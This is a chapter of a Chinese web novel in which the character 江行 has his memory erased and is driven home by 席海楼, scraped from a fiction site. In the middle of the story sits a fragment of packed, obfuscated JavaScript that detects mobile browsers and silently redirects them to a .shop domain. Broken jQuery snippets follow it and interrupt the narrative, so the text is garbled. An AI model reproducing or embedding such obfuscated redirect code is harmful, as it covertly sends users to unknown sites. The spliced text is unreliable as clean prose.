文趣网 > 都市小说 > 穿越回来后只想咸鱼 > 11. 第十一章
    硬币翻转抛上半空,月光映照下反射出清亮的银辉,又被一只骨节分明的手稳稳接住。

    病床上的江行摊开手看一眼,继续抛,一连三次才停下。

    看完结果,他眼睫很轻地垂下去,无悲无喜地注视着被子上的褶皱。

    似乎坐了很久,又似乎只是几秒。

    江行拇指抵着硬币边沿,再次往上一挑。

    叮——

    夜渐深,乌云遮月。

    房间没开灯,逐渐沉入黑暗。

    .

    记忆消除室的标识牌还挺文雅,叫“渡忘川”。

    席海楼站在二楼的观察窗口,看着江行遵循操作员的指示躺在床上,后者屈指敲在江行眉心,让他放松,转身点香烛。

    檀香缭绕,静室空幽。

    躺在床上的江行只觉得眉心一震,意识忽然变得昏沉疲惫,继而轻盈得往上浮,像是泡在水里,身体没有着落点。

    他隐约听见操作员在问什么,顺势低声回了几句,紧跟着有什么冰冰凉凉的东西贴着神庭往印堂直下,到承浆穴方止。

    那是索忆钩。

    前尘往事,一钩即散。

    应了“忘川”的标识牌:走一遭忘川池,断一世前尘忆。

    医师朋友冲席海楼挑挑眉毛,那语气活像见证劫匪放下屠刀:“终于良心未泯决定放人一马了?”

    “说得我像个变态一样。”席海楼笑骂,“我是见不得咱们祖国花朵误入歧途。”

    归根究底,他紧抓人不放,其一怀疑江行是“他”,其二是江行身份成谜拒不配合。

    如今前者被推翻,后者在管理总局那得到解释,也就没有追究下去的理由。

    斩魔剑的亲近是个疑点,但构不成嫌疑。就跟看见金箍棒高兴地围着某人转悠,能说那人是坏的吗?不起哄咋呼两声大圣驾到都算矜持的。

    唯一不好的是斩魔剑意义非凡,会招来有心人的觊觎。不过少年比席海楼想象中决绝,一个记忆消除堵死纷至沓来的追问。

    对想过平静生活的人来说,确实是比较聪明的选择。

    .

    江行醒来时双眼像蒙着雾,好半天才散去。

    一抬头,就看见男人杵在旁边郑重其事说:“你终于醒了,恭喜你,手术很成功。”

    江行:“?”

    席海楼看他疑惑得真情实感,嘟囔着“这忘得也太干净了”,朝他晃了晃手掌:“这是几?”

    江行平平静静看他一会儿:“先生,我的脑子应该还算正常。”

    为了不影响患者的日常生活,操作员会给他们下达心理暗示,引导患者用自己的惯性思维合理填补缺失的记忆,比如受困几天没回家是出门旅游。

    席海楼看着那双重新变得漠然的眼睛,估摸人正在心里腹诽这是从哪儿来的大傻比。

    他扯了扯嘴角,从大衣夹层掏出证件一亮:“我是平安志愿者席海楼。你一个人到外地旅游爬山不慎失足摔了下去,幸好被登山友及时发现并送到医院。我们没有搜到你的随身证件,大概率掉到崖洞下面去了,万幸你本人没受什么伤。”

    “就在刚才我和你的监护人取得联系,他们暂时过不来,考虑外地未成年游客的人身安全,组织派我送你过去。”

    漏洞好几个,但糊弄脑子不清醒的小孩足够了。

    江行往前探身,似乎在仔细分辨证件真伪,半响,含糊地点点头。

    席海楼笑一声,顺手把少年的换洗衣物拎上:“走吧,先去吃饭。”

    医院食堂伙食主打的就是一个清淡,这个时间点也别指望有什么山珍海味。

    好在少年吃什么都不挑,也可能是出于对陌生人的礼貌和吃人嘴短的不好意思。

    席海楼总觉得他这体格得补补,一米七五的十六岁小伙子还有得长,吃少耽误发育。

    于是他打包好了肉夹馍卤菜手抓饼,医院门口水果店里又买了一盒免洗草莓,再拿一板牛奶——没买太多是怕人走的时候不好拿。

    来到车前,席海楼先把一堆熟食放进车载保温箱,再把下意识往后走的江行塞进副驾驶,隔空指指他眉心:“本来就是义务送行你还不陪着一起坐前面,跨省高速七小时,我要是无聊死了你来开?”

    江行一听,若有所思打量起方向盘和底下的油门,当真从副驾驶下来,往主驾走。

    席海楼发现自己低估了大号人类幼崽对速度与激情的天然渴望,这一脚油门下去他俩估计双双得进拘留所,魂不附体把人拽住:“——等等!你有驾照吗就去开,刚才跟你开玩笑呢,错了祖宗不该激你的我道歉。”

    江行还是坐在了副驾驶,回想短视频里看过的画面,试着给自己系上安全带。

    一只结实的臂膀从旁边伸过来,很自然地从车座缝里掏出江行一直没找到的锁扣递过去,再把他的座椅往下调。

    江行一回头,厚实的皮夹克就盖在了身上。

    没谁会在夏天穿皮夹克,除了怕冷和某条爱装帅的龙。

    席海楼没忘记这人体质阴寒,大夏天都能给自己冻成冰块,反正他是龙不怕热,顺手把车载空调温度调高。

    “看你眼睛下面黑了一圈,昨晚上是不是没休息好?时间还早,躺着睡会儿吧,快到的时候我叫你。”

    江行见过他幼稚冲动的样子,见过他插科打诨没个正行,还有被逼急时骨子里爆发出来的凶戾不驯。

    但现在男人好像又变了一个样,没用那抑扬顿挫的腔调,嗓音低沉,只有随动作自然流露出的关心。

    有些陌生,还有些……出乎意料。

    江行抓着席海楼的外套,触及上面残留的余温,神色叫人瞧不分明。

    从市区上高速,最大的感受就是山变多了,层峦叠翠,碧空万里。

    席海楼也是半小时后,才注意到身边的少年睡着了。

    睡姿一板一眼,两手叠放在腹部,撞上减速带颠簸的那两下,都没让他的头歪上半寸。

    倒是皮夹克给震了下去。

    席海楼没多想,一手把住方向盘,一手抓起外套往上一提,从江行的半边下巴到大腿上半全部盖住。

    这个角度看过去,就像少年寻求温暖,主动把脑袋埋进外套里。

    事实证明覆面系的存在是有道理的,看不见那冰冷绷直的嘴角和削瘦的下颔线,似乎让少年有了几分鲜活的人气。

    想到以后没机会了,席海楼忽然恶向胆边生,趁机往江行脑袋上狠狠揉搓一把。

    江行能感觉到那仿佛在出恶气的力道,但他要是躲了,会暴露装睡的事实,于是他没动。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949224|214127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >席海楼怕把他吵醒,只是揉两下就收了手。

    手收回去的动作很慢,在半空停滞几秒,带着硬茧的手指从上往下,状似不经意地碰了碰他的眼帘。

    车辆仍在疾驰,无数辆车从两侧簌簌超越,呼啸的风刮擦车窗,里面一片让人心悸的寂静。

    身边男人再没有多余的动作,长达五小时一声不吭。

    中途路过服务区,席海楼喊江行起来吃饭上厕所,给车加满油,稍加休整后又继续专心开车。

    一直到了目的地黔云市西站,把人叫醒。

    .

    本以为接人的只有那名叫徐容的江家旁系,谁知道排场还挺大,五个彪形大汉杵在登出口,穿黑鞋西装像保镖,为首是个平头戴墨镜的大老粗,碗上戴着朱红的串子。

    他一见到席海楼,猛地扯下墨镜冲过来抓住手使劲儿晃,激动得眼眶通红:“哎呀警官谢谢你们哦帮我们把娃儿找到!你们就是我们救命恩人,以后要哪样事吱一声我们出人出力绝无二话!”

    平头老哥方言混着拗口的普通话喷了席海楼一脸唾沫星子,席海楼躲都没处躲,愕然之余,下意识去看江行的反应。

    无他,纯粹是少年谦谦君子的仪态和这粗犷接地气的画风搭不上边。

    但江行适应得很好,不偏不倚地走过去,被保镖簇拥在正中央。

    于是席海楼只好打消疑虑,挤出满脸笑维持群众眼里体贴亲切的形象,好半天才艰难地把自己的爪子从老哥铁钳似的手里抽出来,唠家常般随口问了几句。

    为什么徐容本人没来接,家住哪儿,现在几口人之类的。

    或许是觉得席海楼的身份问这些问题太正常不过,平头老哥知无不答。

    一直走到车站外,看见大马路上停着的路虎揽胜和后面三辆司机待命的宝骏,席海楼知道小孩后半辈子是不用愁了。

    说到底,江家现在再怎么落魄,曾经也是六大世家之一。

    是他瞎担心。

    难为江少爷陪他吃了两天路边摊和垃圾食品,还没抱怨过一言半语。

    “喂!江逐野。”

    保镖将后车门打开,江行正要上去,听到喊声回头。

    只见席海楼站在二十米开外的路牌下,没有走过来,笑着对他说:“就此别过了,不跟你席哥说声再见?”

    江行一时没有吭声,包括平头老哥在内的几人却下意识绷紧了肌肉。

    静默的气氛里,只见江行礼貌疏离地点头道:“你是个好警官,谢谢你。”

    说完,他就头也不回地上了车。

    徒留席海楼在后面哑然失笑:“用完就丢,连句再见都不愿意说,小没良心的。”

    平头老哥在旁边尴尬得直打哈哈,让席海楼别往心里去。

    席海楼不是没有看出他们对江行那独一份的紧张看重,就像他也能看出,除去江家十年前的那桩丑闻,江行身上还藏着不少秘密。

    但终究是别人家的事。

    这人当着他面说要消除记忆,何尝又不是在堵他刨根问底的嘴?

    席海楼回停车位上了车,引擎发动驶出车站。

    烈日照射在尘土飞扬的柏油路面,两辆车都没有减速,一辆驶入高速公路,一辆汇入车流如织的城市主干道,彼此车影拉开间距,渐行渐远。